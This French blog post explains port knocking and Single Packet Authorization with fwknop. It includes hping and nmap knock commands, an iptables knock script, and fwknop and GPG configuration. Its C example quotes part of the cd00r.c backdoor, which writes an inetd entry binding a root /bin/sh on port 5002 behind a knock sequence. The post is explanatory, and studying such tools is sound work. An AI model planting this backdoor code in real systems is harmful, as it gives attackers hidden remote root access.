Single Packet Authorization & Port Knocking

juillet 19, 2013 by · Leave a Comment 

SPA est une méthode et une couche supplémentaire permettant d’établir une connexion à une machine qui a ses ports fermés et d’ouvrir un port voulu en envoyant un message SPA particulier.

SPA peut être considéré comme une forme dérivée du Port Knocking mais les mécanismes utilisés sont sensiblement différents.

1. Rappel du fonctionnement du Port Knocking

Ce concept consiste à frapper à une porte en utilisant une série spéciale d’évènements afin de l’ouvrir.

Le Port Knocking est utilisé pour garder tous les ports fermés au public et de pouvoir ouvrir ou fermer les ports aux utilisateurs qui ont correctement utilisés une « knock » séquence particulière.

Typiquement, sur un système informatique, ceci consiste à atteindre différents ports dans un ordre précis afin d’ouvrir un port voulu. Ce dernier est donc fermé par un pare-feu tant qu’une « knock » séquence particulière n’a pas été effectuée. Si un attaquant effectue un scan sur le système, le port apparaîtra donc fermé bien que le service correspondant soit en fonctionnement, le pare-feu effectuera tout simplement un DROP tant que la bonne séquence n’a pas été effectuée.

Par exemple, pour un démon sshd écoutant sur le port TCP 22, nous choisissons d’utiliser la « knock » séquence suivante en atteignant successivement les port 36, 32 et 30.

Le port 22 sera donc ici ouvert par le pare-feu que si un utilisateur initialise des connexions TCP dans le bon ordre sur les 3 ports suivants : 36, 32 et 30.

knock ! knock ! knock !

Si un attaquant scan la machine avant que la « knock » séquence ne soit effectuée, le port 22 apparait fermé et renvoie un RST/ACK :

$ sudo hping -S -p 22 192.70.106.78
HPING 192.70.106.78 (eth0 192.70.106.78): S set, 40 headers + 0 data bytes
len=40 ip=192.70.106.78 ttl=64 DF id=0 sport=22 flags=RA seq=0 win=0 rtt=0.2 ms
[...]

Si un utilisateur frappe aux bons ports dans le bon ordre, ceci ouvre alors le port 22 :

                   SYN
client ---------------------------> port TCP/36 du serveur
client ---------------------------> port TCP/32 du serveur
client ---------------------------> port TCP/30 du serveur

Exemple avec hping et l’envoi de paquets SYN :

$ sudo hping -S -c 1 -p 36 192.70.106.78
$ sudo hping -S -c 1 -p 32 192.70.106.78
$ sudo hping -S -c 1 -p 30 192.70.106.78

Idem avec nmap :

$ sudo nmap -sS -T Polite -p 36,32,30 -r 192.70.106.78

Une fois la séquence correcte effectuée, le port 22 est ouvert pour une durée donnée et une adresse IP spécifique :

$ sudo hping -S -p 22 192.70.106.78
HPING 192.70.106.78 (eth0 192.70.106.78): S set, 40 headers + 0 data bytes
len=40 ip=192.70.106.78 ttl=64 DF id=0 sport=22 flags=SA seq=0 win=32792 rtt=0.2 ms
[...]

La machine renvoie bien un SYN/ACK, il est alors possible de s’authentifier au serveur SSH. Pour toutes les autres adresses IP, le port 22 apparaît toujours fermé.

Un attaquant pourra toutefois tenter une attaque par force brute afin de dévouvrir les ports et la séquence corrects, mais cette attaque sera détectée assez facilement compte-tenu de son caractère bruyant. Pour une séquence TCP en 3 coups (ici les ports 36, 32 et 30), si l’attaque porte sur les ports de 1 à 65535, ceci fait donc une valeur de l’ordre de 65535 exposant 3, soit environ 281 billions de paquets pour tester toutes les combinaisons possibles.

Bien que ceci ressemble à de la sécurité par l’obscurité, on comprend aisément l’intérêt que peut avoir un attaquant à utiliser le Port Knocking pour « obscurcir » sa backdoor (par exemple cd00r.c) et la cacher aux administrateurs qui effectuent un scan de ports à distance de leurs machines.

De même, un administrateur pourra être tenté de protéger des services, ici sshd, contre d’éventuels vulnérabilités non patchées ou de type 0-days, puisqu’un attaquant devra d’abord trouver la « knock » séquence particulière lui donnant l’accès au port.

L’implémentation du Port Knocking utilise généralement les journaux du pare-feu (par exemple ulogd de Netfilter) afin de savoir si un utilisateur utilise la bonne séquence. Les accès en lecture aux journaux doivent donc être particulièrement protégés. L’utilisation de la libpcap peut quelquefois également être utilisée afin de capturer les paquets directement et reconnaître la bonne séquence.

Le Port Knocking n’est pas utilisable pour des machines exécutant des services publics tels que SMTP ou HTTP et ne peut être utilisé que pour des machines fournissant des services à des utilisateurs autorisés qui requièrent un accès continuel depuis n’importe quelle location (comme SSH ou FTP).

2. Exemple de script effectuant du Port Knocking avec iptables

Les 3 ports TCP 36, 32 et 30 choisis ici doivent être atteints successivement sur un interval de moins de 10 secondes afin d’ouvrir le port TCP 22 :

#!/bin/bash
i=/sbin/iptables ## binaire IPTables
sp=22 ## port qui sera ouvert une fois la séquence effectuée
p1=36 ## port à atteindre en premier
p2=32 ## port à atteindre en second
p3=30 ## port à atteindre en troisième
tot=10 ## time out in seconds

$i -N kc
$i -N kc1
$i -N kc2

$i -A INPUT -m state --state NEW -p tcp --dport $sp -m recent --rcheck --name portKnock --seconds $tot -j kc
$i -A INPUT -m state --state NEW -p tcp --dport $p1 -m recent --name portKnock2 --set -j DROP
$i -A INPUT -m state --state NEW -p tcp --dport $p2 -m recent --rcheck --name portKnock2 --seconds $tot -j kc1
$i -A INPUT -m state --state NEW -p tcp --dport $p3 -m recent --rcheck --name portKnock1 --seconds $tot -j kc2

$i -A kc -m recent --name portKnock --remove -j ACCEPT

$i -A kc1 -m recent --name portKnock2 --remove
$i -A kc1 -m recent --name portKnock1 --set -j DROP

$i -A kc2 -m recent --name portKnock1 --remove
$i -A kc2 -m recent --name portKnock --set -j DROP

$i -A INPUT -m state --state NEW -m tcp -p tcp --dport $[p1 - 1] -m recent --name portKnock2 --remove -j DROP
$i -A INPUT -m state --state NEW -m tcp -p tcp --dport $[p1 + 1] -m recent --name portKnock2 --remove -j DROP
$i -A INPUT -m state --state NEW -m tcp -p tcp --dport $[p2 - 1] -m recent --name portKnock1 --remove -j DROP
$i -A INPUT -m state --state NEW -m tcp -p tcp --dport $[p2 + 1] -m recent --name portKnock1 --remove -j DROP
$i -A INPUT -m state --state NEW -m tcp -p tcp --dport $[p3 - 1] -m recent --name portKnock --remove -j DROP
$i -A INPUT -m state --state NEW -m tcp -p tcp --dport $[p3 + 1] -m recent --name portKnock --remove -j DROP

3. Exemple de Port Knocking en C

/* "knock" séquence particulière spécifiant les ports à atteindre afin d'ouvrir un port voulu */

#define CDR_PORTS		{ 36,32,30,00 }
[...]
unsigned int 	cports[] = CDR_PORTS;
int		cportcnt = 0;
/* which is the next required port ? */
int		actport = 0;

/* Cette fonction est appelée quand la "knock" séquence est bien celle voulue */

void cdr_open_door(void) {
    FILE	*f;

    char	*args[] = {"/usr/sbin/inetd","/tmp/.ind",NULL};

    switch (fork()) {
	case -1: 
#ifdef DEBUG
	    printf("fork() failed !\n");
#endif DEBUG
	    return;
	case 0: 
	    /* To prevent zombies (inetd-zombies look quite stupid) we do a second fork() */
	    switch (fork()) {
		case -1: _exit(0);
		case 0: /*that's fine */
			 break;
		default: _exit(0);
	    }
	     break;

	default: 
	     wait(NULL);
	     return;
    }

    if ((f=fopen("/tmp/.ind","a+t"))==NULL) return;
    fprintf(f,"5002  stream  tcp     nowait  root    /bin/sh  sh\n");
    fclose(f);

    execv("/usr/sbin/inetd",args);
#ifdef DEBUG
    printf("Strange return from execvp() !\n");
#endif DEBUG
    exit (0);
}

4. SPA (Single Packet Authorization)

Single Packet Authorization et le Port Knocking utilisent tous les deux un filtrage de paquets et collectent passivement de l’information. Cependant, avec SPA, la « knock » séquence est encodée dans un seul paquet.

Aussi, SPA a plus de possibilités que le Port Knocking et permet de contrecarrer les attaques par rejeu, permet d’envoyer plus de données, est plus difficile à détecter par les IDS, il n’y a pas de « knock » séquence particulière à effectuer sur les ports, et des protocoles qui n’ont pas de notion de ports, tels que ICMP ou GRE, peuvent l’utiliser.

Une différence principale entre les deux méthodes est que, pour le Port Knocking, la communication des informations s’effectue dans les en-têtes des paquets, ce qui limite la quantité de données pouvant être transférées. Les champs des en-têtes pour les ports TCP et UDP sont de 16 bits, ainsi seuls 2 octets d’informations peuvent être transférés par paquet dans une « knock » séquence.

Aussi, si un attaquant capture cette séquence, il a donc la possibilité d’ouvrir le port voulu. L’utilisation d’un algorithme de chiffrement permet d’éviter cela. Cependant, un chiffrement par bloc symétrique, avec par exemple une clé de 128 bits, force à envoyer au moins 8 paquets si on a 2 octets par paquets. Avec SPA, le payload des paquets est directement utilisé pour les données d’authentification.

5. Fwknop

La première implémentation de SPA a été réalisée en Mai 2005 par Michael Rash avec le logiciel Fwknop (FireWall KNock OPerator). SPA fournit une architecture similaire au Port Knocking, sauf au niveau de la transmission des données qui s’effectue au niveau de la couche applicative. Ceci implique qu’au lieu d’envoyer seulement 2 octets de données par paquet, SPA est capable d’envoyer une taille de données en fonction du MTU utilisé entre le client et le serveur (par exemple 1500 octets pour un réseau ethernet) et dans chaque paquet. Il est donc possible de passer des commandes dans un seul paquet SPA qui seront ensuite exécutées sur le serveur Fwknop.

Tous les messages SPA sont chiffrés, soit par l’algorithme de chiffrement symétrique Rijndael, soit par une solution de cryptographie asymétrique utilisant GPG avec l’algorithme ElGamal. L’intégrité des messages est vérifiée par une somme de contrôle MD5 après que le message ait été déchiffré.

Un client Fwknop fournit les informations suivantes dans chaque message SPA : 16 octets de données aléatoires, le nom de l’utilisateur local, le timestamp local, la version de Fwknop, le mode utilisé (accès ou commande), l’accès désiré (ou la chaîne de commande), la somme MD5. Les 16 octets aléatoires servent ici afin de faire en sorte que chaque message SPA soit unique. Le serveur Fwknop maintient donc en cache les messages pour tenter de bloquer les attaques par rejeu.

Une fois le paquet SPA reçu, le filtrage des paquets est reconfiguré par Netfilter.

7. Intégration de Fwknop avec Netfilter

Fwknop est compatible avec les règles Netfilter existantes et fournit sa propre chaîne FWKNOP_INPUT.

Exemple de règle Netfilter utilisant la chaîne FWKNOP_INPUT :

  Chain INPUT (policy DROP)
  FWKNOP_INPUT all -- 0.0.0.0/0 0.0.0.0/0
  ACCEPT all -- 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED
  ACCEPT tcp -- 192.70.106.78 0.0.0.0/0 tcp dpt:22
  ULOG udp -- 0.0.0.0/0 0.0.0.0/0 udp dpt:62201 ULOG copy_range 0 nlgroup 1 \
    prefix `FWKNOP' queue_threshold 1
  Chain FWKNOP_INPUT (1 references)
  ACCEPT tcp -- * * 192.70.106.78 0.0.0.0/0 tcp dpt:22

Le port UDP 62201 est ici utilisé par défaut pour les messages SPA.

7. Fichiers de configuration de Fwknop

Le fichier /etc/fwknop/fwknop.conf est le suivant :

  EMAIL_ADDRESSES user@example.com;
  AUTH_MODE PCAP;
  PCAP_INTF eth0;
  ENABLE_PCAP_PROMISC Y;
  PCAP_FILTER udp port 62201;
  PCAP_PKT_FILE /var/log/ulogd.pcap;
  ENABLE_MD5_PERSISTENCE Y;

Le fichier /etc/fwknop/access.conf est le suivant :

  SOURCE: ANY;
  DATA_COLLECT_MODE: ULOG_PCAP;
  OPEN_PORTS: tcp/22;
  KEY: <encryptkey>;
  GPG_HOME_DIR: /root/.gnupg;
  GPG_DECRYPT_ID: serverkeyID;
  GPG_DECRYPT_PW: <motdepasse>;
  GPG_REMOTE_ID: clientkeyID;
  FW_ACCESS_TIMEOUT: 10;
  REQUIRE_USERNAME: sm;

8. Utilisation de Fwknop

Un utilisateur ne peut pas établir une connexion au serveur sshd avant d’avoir transmis le message SPA. Tous les paquets SYN sont donc droppés par Netfilter avant l’accès à la pile TCP/IP :

  [client]$ nc -v 192.70.106.78 22

Pour ouvrir le port ssh, un utilisateur doit d’abord envoyer le message SPA via le client Fwknop :

  [client]$ fwknop --Server-port 62201 -s -k 192.70.106.78
  [+] Starting fwknop in client mode.
  [+] Enter an encryption key. This key must match a key in the file
  /etc/fwknop/access.conf on the remote system.
  Encryption Key:
  [+] Building encrypted single-packet authorization (SPA) message...
  [+] Packet fields:
  Random data: 5728567594694037
  Username: sm
  Timestamp: 1132122416
  Version: 1.8.3
  Action: 1 (access mode)
  Access: 0.0.0.0,none,0
  MD5 sum: e7c714f84f25c28eb3f9e4f6ef82d52d
  [+] Sending 128 byte message to 192.70.106.78 over udp/62201...

Le serveur Fwknop reconfigure alors les règles Netfilter sur leserveur pour permettre au client de dialoguer avec le serveur SSH. Il est ensuite possible pour l’utilisateur de se connecter au port TCP/22 et de s’authentifier avec son client ssh :

  [client]$ nc -v 192.70.106.78 22
  test.example.com [192.70.106.78] 22 (ssh) open
  SSH-2.0-OpenSSH_4.6p1 Debian-5

9. Utilisation avec GPG

La paire de clés GPG sur le serveur peut être générée de la façon suivante :

  $ gpg --gen-key
  $ gpg -a --export serverkeyID > serveur-fwknop.asc

La clé publique du serveur doit ensuite être copiée sur le client.

Pour le client :

  $ gpg --gen-key
  $ gpg -a --export clientkeyID > client-fwknop.asc

La clé publique du client doit ensuite être copiée sur le serveur.

Les clés sont ensuite importées et signées.
Sur le client :

  $ gpg --import serveur-fwknop.asc
  $ gpg --edit-key serverkeyID
  Command> sign

Sur le serveur :

  $ gpg --import client-fwknop.asc
  $ gpg --edit-key clientkeyID
  Command> sign

Utilisation avec un client pour se connecter au serveur :

  $ fwknop -A tcp/22 --gpg-recip serverkeyID --gpg-sign clientkeyID -a IPduClient -k IPduServeur

Une fois effectuée, Netfilter est alors reconfiguré et le client peut alors se connecter en ssh au serveur :

  $ ssh nomUtilisateur@IPduServeur

10. Conclusion

Single Packet Authentication ajoute des fonctionnalités intéressantes au Port Knocking. Contrairement à ce dernier qui peut générer des alertes de scans de ports, SPA ne semble pas créer une empreinte réseau suffisamment significative et peut ne pas être détectée par les IDS. Pour rappel, le but de cette brève n’était pas de savoir si il s’agit de sécurité par l’obscurité ou d’une nouvelle couche de défense en profondeur, mais était simplement de présenter le concept du Single Packet Authorization et de rappeler brièvement le fonctionnement du Port Knocking.

About sjon

Comments are closed.